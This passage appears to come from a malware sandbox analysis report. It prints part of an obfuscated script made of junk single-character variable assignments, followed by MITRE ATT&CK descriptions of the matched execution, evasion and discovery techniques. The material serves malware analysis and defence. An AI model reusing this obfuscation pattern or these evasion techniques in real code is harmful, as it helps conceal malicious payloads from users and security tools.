658	nkdjhfkr = "U";
659	anssa = "e";
660	anssa = "z";
661	anssa = "s";
662	anssa = "P";
663	anssa = "i";
664	anssa = "S";
665	nnqvvpv = "k";
666	nnqvvpv = "h";
667	nnqvvpv = "m";
668	nnqvvpv = "I";
669	nnqvvpv = "O";
670	nnqvvpv = "s";
671	nnqvvpv = "a";
672	nnqvvpv = "W";
673	nnqvvpv = "l";
674	nnqvvpv = "B";
675	nnqvvpv = "C";
676	nnqvvpv = "n";
677	nnqvvpv = "o";
678	nnqvvpv = "j";
679	nnqvvpv = "q";
680	nnqvvpv = "f";
681	nnqvvpv = "G";
682	nnqvvpv = "D";
683	nnqvvpv = "e";
684	vzwdiany = "D";
685	vzwdiany = "x";
686	vzwdiany = "o";
687	vzwdiany = "q";
688	vzwdiany = "R";
689	vzwdiany = "y";
690	vzwdiany = "L";
691	vzwdiany = "o";
692	dazasra = "Z";
693	dazasra = "J";
694	dazasra = "D";
695	dazasra = "q";
696	dazasra = "C";
697	dazasra = "f";
698	dazasra = "J";
699	dazasra = "z";
700	dazasra = "k";
701	dazasra = "z";
702	dazasra = "N";
703	dazasra = "A";
704	dazasra = "X";
705	dazasra = "f";
706	dazasra = "u";
707	dazasra = "w";
708	dazasra = "l";
709	dazasra = "J";
710	dazasra = "f";
711	dazasra = "P";
712	dazasra = "w";
713	dazasra = "l";
714	dazasra = "_";
715	yhvdvtxg = "n";
716	yhvdvtxg = "s";
717	yhvdvtxg = "X";
718	yhvdvtxg = "x";
719	yhvdvtxg = "u";
720	yhvdvtxg = "m";
721	yhvdvtxg = "b";
722	yhvdvtxg = "C";
723	yhvdvtxg = "S";
724	yhvdvtxg = "S";
725	yhvdvtxg = "f";
726	yhvdvtxg = "I";
727	yhvdvtxg = "a";
728	yhvdvtxg = "N";
729	yhvdvtxg = "P";
730	yhvdvtxg = "Y";
731	yhvdvtxg = "i";
732	yhvdvtxg = "K";
733	yhvdvtxg = "w";
734	yhvdvtxg = "H";
735	yhvdvtxg = "h";
736	yhvdvtxg = "a";
737	yhvdvtxg = "Y";
738	yhvdvtxg = "m";
739	yhvdvtxg = "E";
740	yhvdvtxg = "X";
741	yhvdvtxg = "j";
742	yhvdvtxg = "1";
743	hxyvbm = "T";
744	hxyvbm = "H";
745	hxyvbm = "E";
746	hxyvbm = "N";
747	hxyvbm = "n";
748	hxyvbm = "a";
749	hxyvbm = "K";
750	hxyvbm = "J";
751	hxyvbm = "d";
752	hxyvbm = "h";
753	hxyvbm = "b";
754	hxyvbm = "Z";
755	hxyvbm = "v";
756	hxyvbm = "s";
757	hxyvbm = "q";
758	hxyvbm = "J";
759	hxyvbm = "z";
760	hxyvbm = "B";
761	hxyvbm = "v";
762	hxyvbm = "D";
763	hxyvbm = "m";
764	hxyvbm = "P";
765	bdhaxyjy = "N";
766	bdhaxyjy = "h";
767	bdhaxyjy = "v";
768	bdhaxyjy = "X";
769	bdhaxyjy = "N";
770	bdhaxyjy = "U";
771	bdhaxyjy = "N";
772	bdhaxyjy = "k";
773	bdhaxyjy = "r";
774	bdhaxyjy = "Q";
775	bdhaxyjy = "E";
776	bdhaxyjy = "h";
777	bdhaxyjy = "j";
778	bdhaxyjy = "a";
779	bdhaxyjy = "j";
780	bdhaxyjy = "L";
781	bdhaxyjy = "i";
782	aeyrppku = "b";
783	aeyrppku = "l";
784	aeyrppku = "T";
785	aeyrppku = "S";
786	aeyrppku = "b";
787	aeyrppku = "U";
788	aeyrppku = "F";
789	aeyrppku = "L";
790	aeyrppku = "V";
791	aeyrppku = "X";
792	aeyrppku = "j";
793	aeyrppku = "V";
794	aeyrppku = "R";
795	aeyrppku = "r";
796	aeyrppku = "F";
797	aeyrppku = "d";
798	aeyrppku = "c";
799	aeyrppku = "c";
800	aeyrppku = "f";
801	aeyrppku = "S";
802	aeyrppku = "F";
803	aeyrppku = "a";
804	aeyrppku = "j";
805	aeyrppku = "q";
806	aeyrppku = "M";
807	aeyrppku = "l";
808	aeyrppku = "X";
809	aeyrppku = "o";
810	aeyrppku = "y";
811	aeyrppku = "y";
812	aeyrppku = "F";
813	aeyrppku = "q";
814	aeyrppku = "B";
815	aeyrppku = "L";
816	aeyrppku = "K";
817	aeyrppku = "M";
818	aeyrppku = "H";
819	aeyrppku = "Z";
820	aeyrppku = "u";
821	aeyrppku = "u";
822	dgtqqii = "h";
823	dgtqqii = "t";
824	dgtqqii = "h";
825	dgtqqii = "N";
826	dgtqqii = "X";
827	dgtqqii = "f";
828	dgtqqii = "l";
829	dgtqqii = "W";
830	dgtqqii = "U";
831	dgtqqii = "E";
832	dgtqqii = "p";
833	dgtqqii = "R";
834	dgtqqii = "j";
835	dgtqqii = "P";
836	dgtqqii = "J";
837	dgtqqii = "g";
838	dgtqqii = "C";
839	dgtqqii = "z";
840	dgtqqii = "n";
841	dgtqqii = "w";
842	dgtqqii = "D";
843	dgtqqii = "d";
844	dgtqqii = "m";
845	dgtqqii = "r";
846	dgtqqii = "v";
847	dgtqqii = "J";
848	dgtqqii = "b";
849	dgtqqii = "P";
850	dgtqqii = "q";
851	dgtqqii = "O";
852	dgtqqii = "v";
853	dgtqqii = "S";
854	dgtqqii = "D";
855	dgtqqii = "W";
856	dgtqqii = "e";
857	dgtqqii = "U";
858	dgtqqii = "C";
859	dgtqqii = "S";
860	dgtqqii = "b";
861	dgtqqii = "S";
862	dgtqqii = "B";
863	dgtqqii = "A";
864	dgtqqii = "s";
865	dgtqqii = "l";
866	dgtqqii = "m";
867	lbxjoxr = "T";
868	lbxjoxr = "G";
869	lbxjoxr = "c";
870	lbxjoxr = "I";
871	lbxjoxr = "b";
872	lbxjoxr = "f";
873	lbxjoxr = "C";
874	lbxjoxr = "b";
875	lbxjoxr = "D";
876	lbxjoxr = "f";
877	lbxjoxr = "t";
878	lbxjoxr = "D";
879	lbxjoxr = "y";
880	lbxjoxr = "W";
881	lbxjoxr = "U";
882	lbxjoxr = "p";
883	lbxjoxr = "n";
884	lbxjoxr = "g";
885	lbxjoxr = "I";
886	lbxjoxr = "x";
887	lbxjoxr = "C";
888	lbxjoxr = "t";
889	lbxjoxr = "w";
890	lbxjoxr = "q";
891	lbxjoxr = "D";
892	lbxjoxr = "B";
893	lbxjoxr = "V";
894	lbxjoxr = "O";
895	lbxjoxr = "s";
896	qnifyd = "x";
897	qnifyd = "J";
898	qnifyd = "I";
899	qnifyd = "p";
900	qnifyd = "N";
901	qnifyd = "F";
902	qnifyd = "c";
903	qnifyd = "I";
904	qnifyd = "u";
905	qnifyd = "t";
906	qnifyd = "c";
907	qnifyd = "k";
908	whxofmudp = "C";
909	whxofmudp = "q";
910	whxofmudp = "H";
911	whxofmudp = "W";
912	whxofmudp = "K";
913	whxofmudp = "O";
914	whxofmudp = "W";
915	whxofmudp = "Y";
916	whxofmudp = "I";
917	whxofmudp = "c";
918	whxofmudp = "b";
919	whxofmudp = "V";
920	whxofmudp = "q";
921	whxofmudp = "N";
922	whxofmudp = "q";
923	whxofmudp = "S";
924	whxofmudp = "H";
925	whxofmudp = "e";
926	whxofmudp = "B";
927	whxofmudp = "p";
928	whxofmudp = "R";
929	whxofmudp = "i";
930	whxofmudp = "P";
931	whxofmudp = "j";
932	whxofmudp = "e";
933	whxofmudp = "m";
934	whxofmudp = "l";
935	whxofmudp = "B";
936	whxofmudp = "/";
937	pnugch = "d";
938	pnugch = "r";
939	pnugch = "p";
940	pnugch = "J";
941	pnugch = "A";
942	pnugch = "F";
943	pnugch = "j";
944	pnugch = "N";
945	pnugch = "N";
946	pnugch = "B";
947	pnugch = "a";
948	pnugch = "u";
949	pnugch = "p";
950	pnugch = "F";
951	pnugch = "a";
952	pnugch = "i";
953	pnugch = "h";
954	agrxp = "S";
955	agrxp = "t";
956	agrxp = "S";
957	agrxp = "y";
958	agrxp = "C";
959	agrxp = "H";
960	agrxp = "z";
961	agrxp = "S";
962	agrxp = "s";
963	agrxp = "Q";
964	agrxp = "c";
965	agrxp = "I";
966	agrxp = "l";
967	agrxp = "Z";
968	agrxp = "c";
969	agrxp = "j";
970	agrxp = "t";
971	agrxp = "t";
972	pisdnzj = "Q";
973	pisdnzj = "i";
974	pisdnzj = "b";
975	pisdnzj = "W";
976	pisdnzj = "c";
977	pisdnzj = "L";
978	pisdnzj = "N";
979	pisdnzj = "a";
980	pisdnzj = "F";
981	pisdnzj = "n";
982	pisdnzj = "j";
983	pisdnzj = "P";
984	pisdnzj = "S";
985	pisdnzj = "L";
986	pisdnzj = "o";
987	pisdnzj = "e";
988	pisdnzj = "f";
989	pisdnzj = "x";
990	pisdnzj = "d";
991	pisdnzj = "v";
992	pisdnzj = "F";
993	pisdnzj = "Y";
994	pisdnzj = "m";
995	pisdnzj = "n";
996	pisdnzj = "b";
997	pisdnzj = "z";
998	pisdnzj = "O";
999	pisdnzj = "x";
1000	pisdnzj = "Y";
1001	pisdnzj = "y";
1002	pisdnzj = "j";
1003	pisdnzj = "h";
1004	pisdnzj = "u";
1005	pisdnzj = "n";
1006	pisdnzj = "f";
1007	pisdnzj = "R";
1008	pisdnzj = "D";
1009	pisdnzj = "G";
1010	pisdnzj = "E";
1011	pisdnzj = "x";
1012	pisdnzj = "r";
1013	pisdnzj = "o";
1014	pisdnzj = "w";
1015	pisdnzj = "T";
1016	gujlwzax = "s";
1017	gujlwzax = "K";
1018	gujlwzax = "g";
1019	gujlwzax = "O";
1020	gujlwzax = "e";
1021	gujlwzax = "k";
1022	gujlwzax = "w";
1023	gujlwzax = "C";
1024	gujlwzax = "A";
1025	gujlwzax = "M";
1026	gujlwzax = "U";
1027	gujlwzax = "L";
1028	gujlwzax = "g";
1029	gujlwzax = "R";
1030	ptfzuwh = "T";
1031	ptfzuwh = "o";
1032	ptfzuwh = "l";
1033	ptfzuwh = "A";
1034	ptfzuwh = "l";
1035	ptfzuwh = "V";
1036	ptfzuwh = "P";
1037	ptfzuwh = "p";
1038	ptfzuwh = "f";
1039	ptfzuwh = "r";
1040	ptfzuwh = "Z";
1041	ptfzuwh = "E";
1042	ptfzuwh = "N";
1043	ptfzuwh = "D";
1044	ptfzuwh = "W";
1045	ptfzuwh = "e";
1046	ptfzuwh = "U";
1047	ptfzuwh = "W";
1048	ptfzuwh = "A";
1049	ptfzuwh = "C";
1050	ptfzuwh = "X";
1051	ptfzuwh = "y";
1052	ptfzuwh = "Q";
1053	ptfzuwh = "z";
1054	ptfzuwh = "W";
1055	ptfzuwh = "u";
1056	ptfzuwh = "p";
1057	ptfzuwh = "m";
1058	ptfzuwh = "O";
1059	ptfzuwh = "u";
1060	ptfzuwh = "f";
1061	ptfzuwh = "p";
1062	ptfzuwh = "R";
1063	ptfzuwh = "f";
1064	ptfzuwh = "Z";
1065	ptfzuwh = "d";
1066	valceyfl = "Y";
1067	valceyfl = "h";
1068	valceyfl = "x";
1069	valceyfl = "N";
1070	valceyfl = "z";
1071	valceyfl = "N";
1072	valceyfl = "K";
1073	valceyfl = "m";
1074	valceyfl = "h";
1075	valceyfl = "Q";
1076	valceyfl = "M";
1077	valceyfl = "d";
1078	valceyfl = "L";
1079	valceyfl = "p";
1080	valceyfl = "V";
1081	valceyfl = "c";
1082	valceyfl = "c";
1083	valceyfl = "m";
1084	valceyfl = "r";
1085	valceyfl = "Q";
1086	valceyfl = "I";
1087	valceyfl = "E";
1088	valceyfl = "s";
1089	valceyfl = "I";
1090	valceyfl = "I";
1091	valceyfl = "b";
1092	valceyfl = "H";
1093	valceyfl = "D";
1094	valceyfl = "N";
1095	valceyfl = "B";
1096	valceyfl = "j";
1097	valceyfl = "j";
1098	valceyfl = "j";
1099	valceyfl = "O";
1100	valceyfl = "Y";
1101	valceyfl = "a";
1102	valceyfl = "q";
1103	ksdrboc = "C";
1104	ksdrboc = "Y";
1105	ksdrboc = "Z";
1106	ksdrboc = "F";
1107	ksdrboc = "Y";
1108	ksdrboc = "Z";
1109	ksdrboc = "u";
1110	ksdrboc = "c";
1111	ksdrboc = "M";
1112	ksdrboc = "z";
1113	ksdrboc = "V";
1114	ksdrboc = "a";
1115	ksdrboc = "D";
1116	ksdrboc = "Z";
1117	ksdrboc = "F";
1118	ksdrboc = "A";
1119	ksdrboc = "Y";
1120	ksdrboc = "c";
1121	ksdrboc = "o";
1122	ksdrboc = "a";
1123	ksdrboc = "H";
1124	ksdrboc = "f";
1125	ksdrboc = "j";
1126	ksdrboc = "d";
1127	ksdrboc = "c";
1128	ksdrboc = "e";
1129	ksdrboc = "U";
1130	ksdrboc = "a";
1131	ksdrboc = "j";
1132	ksdrboc = "D";
1133	ksdrboc = "h";
1134	ksdrboc = "Q";
1135	ksdrboc = "k";
1136	ksdrboc = "C";
1137	ksdrboc = "P";
1138	ksdrboc = "%";
1139	sslbyysvy = "v";
1140	sslbyysvy = "Y";
1141	sslbyysvy = "T";
1142	sslbyysvy = "P";
1143	sslbyysvy = "V";
1144	sslbyysvy = "v";
1145	sslbyysvy = "s";
1146	sslbyysvy = "U";
1147	sslbyysvy = "N";
1148	sslbyysvy = "Z";
1149	sslbyysvy = "I";
1150	sslbyysvy = "Z";
1151	sslbyysvy = "B";
1152	sslbyysvy = "f";
1153	sslbyysvy = "a";
1154	sslbyysvy = "U";
1155	sslbyysvy = "R";
1156	sslbyysvy = "i";
1157	sslbyysvy = "t";
1158	sslbyysvy = "U";
1159	sslbyysvy = "Y";
1160	sslbyysvy = "f";
1161	sslbyysvy = "r";
1162	sslbyysvy = "k";
1163	sslbyysvy = "O";
1164	sslbyysvy = "i";
1165	sslbyysvy = "R";
1166	sslbyysvy = "p";
1167	sslbyysvy = "b";
1168	sslbyysvy = "T";
1169	sslbyysvy = "d";
1170	sslbyysvy = "m";
1171	sslbyysvy = "z";
1172	sslbyysvy = "C";
1173	sslbyysvy = "S";
1174	sslbyysvy = "S";
1175	sslbyysvy = "I";
1176	sslbyysvy = "m";
1177	sslbyysvy = "c";
1178	wzwwddaqy = "w";
1179	wzwwddaqy = "E";
1180	wzwwddaqy = "I";
1181	wzwwddaqy = "r";
1182	wzwwddaqy = "S";
1183	wzwwddaqy = "P";
1184	wzwwddaqy = "b";
1185	wzwwddaqy = "P";
1186	wzwwddaqy = "N";
1187	wzwwddaqy = "h";
1188	wzwwddaqy = "j";
1189	wzwwddaqy = "m";
1190	wzwwddaqy = "u";
1191	wzwwddaqy = "N";
1192	wzwwddaqy = "M";
1193	wzwwddaqy = "k";
1194	wzwwddaqy = "A";
1195	wzwwddaqy = "T";
1196	wzwwddaqy = "C";
1197	wzwwddaqy = "z";
1198	wzwwddaqy = "G";
1199	wzwwddaqy = "w";
1200	wzwwddaqy = "D";
1201	wzwwddaqy = "g";
1202	wzwwddaqy = "n";
1203	wzwwddaqy = "c";
1204	wzwwddaqy = "W";
1205	wzwwddaqy = "f";
1206	wzwwddaqy = "u";
1207	wzwwddaqy = "x";
1208	iipij = "L";
1209	iipij = "T";
1210	iipij = "U";
1211	iipij = "a";
1212	iipij = "@";
1213	yfibjpxlm = "g";
1214	yfibjpxlm = "f";
1215	yfibjpxlm = "o";
1216	yfibjpxlm = "F";
1217	yfibjpxlm = "R";
1218	yfibjpxlm = "V";
1219	yfibjpxlm = "B";
1220	yfibjpxlm = "c";
1221	yfibjpxlm = "S";
1222	yfibjpxlm = "A";
1223	yfibjpxlm = "N";
1224	yfibjpxlm = "I";
1225	yfibjpxlm = "z";
1226	yfibjpxlm = "o";
1227	yfibjpxlm = "e";
1228	yfibjpxlm = "r";
1229	yfibjpxlm = "v";
1230	yfibjpxlm = "v";
1231	yfibjpxlm = "W";
1232	yfibjpxlm = "J";
1233	yfibjpxlm = "c";
1234	yfibjpxlm = "h";
1235	yfibjpxlm = "y";
1236	yfibjpxlm = "U";
1237	yfibjpxlm = "B";
1238	yfibjpxlm = "q";
1239	yfibjpxlm = "j";
1240	yfibjpxlm = "p";
1241	yfibjpxlm = "G";
1242	yfibjpxlm = "C";
1243	yfibjpxlm = "I";
1244	yfibjpxlm = "A";
1245	yfibjpxlm = "Y";
1246	yfibjpxlm = "v";
1247	yfibjpxlm = "Z";
1248	yfibjpxlm = "k";
1249	yfibjpxlm = "r";
1250	yfibjpxlm = "E";
1251	yfibjpxlm = "O";
1252	bgfjynyk = "b";
1253	bgfjynyk = "L";
1254	bgfjynyk = "C";
1255	bgfjynyk = "f";
1256	bgfjynyk = "Y";
1257	bgfjynyk = "j";
1258	bgfjynyk = "y";
1259	bgfjynyk = "V";
1260	bgfjynyk = "A";
1261	bgfjynyk = "j";
1262	bgfjynyk = "s";
1263	bgfjynyk = "V";
1264	bgfjynyk = "h";
1265	bgfjynyk = "S";
1266	bgfjynyk = "T";
1267	bgfjynyk = "K";
1268	bgfjynyk = "R";
1269	bgfjynyk = "m";
1270	bgfjynyk = "d";
1271	bgfjynyk = "J";
1272	bgfjynyk = "X";
1273	bgfjynyk = "E";
1274	bgfjynyk = "Y";
1275	bgfjynyk = "i";
1276	bgfjynyk = "R";
1277	bgfjynyk = "J";
1278	bgfjynyk = "H";
1279	bgfjynyk = "\\";
1280	owqpcqqx = "P";
1281	owqpcqqx = "a";
1282	owqpcqqx = "T";
1283	owqpcqqx = "C";
1284	owqpcqqx = "i";
1285	owqpcqqx = "l";
1286	owqpcqqx = "L";
1287	owqpcqqx = "r";
1288	owqpcqqx = "U";
1289	owqpcqqx = "c";
1290	owqpcqqx = "v";
1291	owqpcqqx = "U";
1292	owqpcqqx = "o";
1293	owqpcqqx = "F";
1294	owqpcqqx = "B";
1295	owqpcqqx = "G";
1296	owqpcqqx = "Q";
1297	owqpcqqx = "J";
1298	owqpcqqx = "A";
1299	owqpcqqx = "G";
1300	owqpcqqx = "z";
1301	owqpcqqx = "D";
1302	owqpcqqx = "N";
1303	owqpcqqx = "F";
1304	owqpcqqx = "j";
1305	owqpcqqx = "l";
1306	owqpcqqx = "r";
1307	owqpcqqx = "V";
1308	owqpcqqx = "m";
1309	owqpcqqx = "j";
1310	owqpcqqx = "Y";
1311	owqpcqqx = "H";
1312	owqpcqqx = "e";
1313	owqpcqqx = "b";
1314	owqpcqqx = "B";
1315	owqpcqqx = "s";
1316	owqpcqqx = "r";
1317	owqpcqqx = "X";
1318	owqpcqqx = "k";
1319	owqpcqqx = "f";
1320	owqpcqqx = "r";
1321	owqpcqqx = "Z";
1322	owqpcqqx = "I";
1323	lbyjhajdl = "t";
1324	lbyjhajdl = "l";
1325	lbyjhajdl = "b";
1326	lbyjhajdl = "d";
1327	lbyjhajdl = "G";
1328	lbyjhajdl = "G";
1329	lbyjhajdl = "P";
1330	lbyjhajdl = "V";
1331	lbyjhajdl = "A";
1332	lbyjhajdl = "r";
1333	lbyjhajdl = "z";
1334	lbyjhajdl = "c";
1335	lbyjhajdl = "Q";
1336	zhena = "T";
1337	zhena = "D";
1338	zhena = "Q";
1339	zhena = "a";
1340	zhena = "t";
1341	zhena = "M";
1342	zhena = "l";
1343	zhena = "I";
1344	zhena = "N";
1345	zhena = "u";
1346	zhena = "X";
1347	zhena = "U";
1348	zhena = "I";
1349	zhena = "w";
1350	zhena = "r";
1351	zhena = "D";
1352	zhena = "M";
1353	zhena = "A";
1354	zhena = "B";
1355	zhena = "o";
1356	zhena = "S";
1357	zhena = "M";
1358	zhena = "i";
1359	zhena = "y";
1360	zhena = "M";
1361	zhena = "f";
1362	zhena = "O";
1363	zhena = "i";
1364	zhena = "b";
1365	zhena = "N";
1366	zhena = "S";
1367	zhena = "W";
1368	fxwdqx = "u";
1369	fxwdqx = "I";
1370	fxwdqx = "R";
1371	fxwdqx = "v";
1372	fxwdqx = "H";
1373	fxwdqx = "b";
1374	fxwdqx = "m";
1375	fxwdqx = "Z";
1376	fxwdqx = "N";
1377	fxwdqx = "T";
1378	fxwdqx = "o";
1379	fxwdqx = "b";
1380	fxwdqx = "m";
1381	fxwdqx = "b";
1382	fxwdqx = "G";
1383	fxwdqx = "o";
1384	fxwdqx = "P";
1385	fxwdqx = "2";
1386	pkjogm = "A";
1387	pkjogm = "G";
1388	pkjogm = "P";
1389	pkjogm = "a";
1390	pkjogm = "I";
1391	pkjogm = "F";
1392	pkjogm = "E";
1393	pkjogm = "r";
1394	pkjogm = "W";
1395	pkjogm = "s";
1396	pkjogm = "k";
1397	pkjogm = "B";
1398	pkjogm = "g";
1399	pkjogm = "A";
1400	pkjogm = "j";
1401	pkjogm = "q";
1402	pkjogm = "i";
1403	pkjogm = "J";
1404	pkjogm = "g";
1405	pkjogm = "r";
1406	pkjogm = "f";
1407	pkjogm = "J";
1408	pkjogm = "w";
1409	pkjogm = "T";
1410	pkjogm = "T";
1411	pkjogm = "L";
1412	pkjogm = "t";
1413	pkjogm = "T";
1414	pkjogm = "F";
1415	rhbjamwu = "W";
1416	rhbjamwu = "e";
1417	rhbjamwu = "X";
1418	rhbjamwu = "N";
1419	rhbjamwu = "y";
1420	rhbjamwu = "N";
1421	rhbjamwu = "n";
1422	rhbjamwu = "A";
1423	rhbjamwu = "m";
1424	rhbjamwu = "D";
1425	rhbjamwu = "X";
1426	rhbjamwu = "b";
1427	rhbjamwu = "z";
1428	rhbjamwu = "y";
1429	rhbjamwu = "Q";
1430	rhbjamwu = "z";
1431	rhbjamwu = "A";
1432	rhbjamwu = "s";
1433	rhbjamwu = "x";
1434	rhbjamwu = "L";
1435	rhbjamwu = "C";
1436	rhbjamwu = "Q";
1437	rhbjamwu = "v";
1438	rhbjamwu = "Z";
1439	rhbjamwu = "j";
1440	gywmgt = "q";
1441	gywmgt = "n";
1442	gywmgt = "e";
1443	gywmgt = "N";
1444	gywmgt = "O";
1445	gywmgt = "c";
1446	gywmgt = "o";
1447	gywmgt = "z";
1448	gywmgt = "Q";
1449	gywmgt = "H";
1450	gywmgt = "j";
1451	gywmgt = "P";
1452	gywmgt = "B";
1453	gywmgt = "b";
1454	gywmgt = "m";
1455	gywmgt = "c";
1456	gywmgt = "z";
1457	gywmgt = "P";
1458	gywmgt = "i";
1459	gywmgt = "D";
1460	gywmgt = "Q";
1461	gywmgt = "I";
1462	gywmgt = "U";
1463	gywmgt = "O";
1464	gywmgt = "u";
1465	gywmgt = "W";
1466	gywmgt = "i";
1467	gywmgt = "t";
1468	gywmgt = "T";
1469	gywmgt = "O";
1470	gywmgt = "M";
1471	gywmgt = "Z";
1472	gywmgt = "m";
1473	gywmgt = "G";
1474	gywmgt = "d";
1475	gywmgt = "n";
1476	gywmgt = "S";
1477	gywmgt = "A";
1478	gywmgt = "i";
1479	gywmgt = "G";
1480	gywmgt = "I";
1481	gywmgt = "H";
1482	ojrqil = "w";
1483	ojrqil = "w";
1484	ojrqil = "y";
1485	ojrqil = "F";
1486	ojrqil = "H";
1487	ojrqil = "D";
1488	ojrqil = "D";
1489	ojrqil = "L";
1490	ojrqil = "a";
1491	ojrqil = "b";
1492	ojrqil = "l";
1493	ojrqil = "Q";
1494	ojrqil = "u";
1495	ojrqil = "s";
1496	ojrqil = "f";
1497	ojrqil = "p";
1498	ojrqil = "p";
1499	ojrqil = "O";
1500	ojrqil = "R";
1501	ojrqil = "V";
1502	ojrqil = "B";
1503	ojrqil = "u";
1504	ojrqil = "X";
1505	ojrqil = "E";
1506	ojrqil = "V";
1507	ojrqil = "H";
1508	ojrqil = "Z";
1509	ojrqil = "g";
1510	ojrqil = "O";
1511	ojrqil = "E";
1512	ojrqil = "n";
1513	ojrqil = "y";
1514	ojrqil = "T";
1515	ojrqil = "7";
1516	xdiwfof ( );	xdiwfof() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

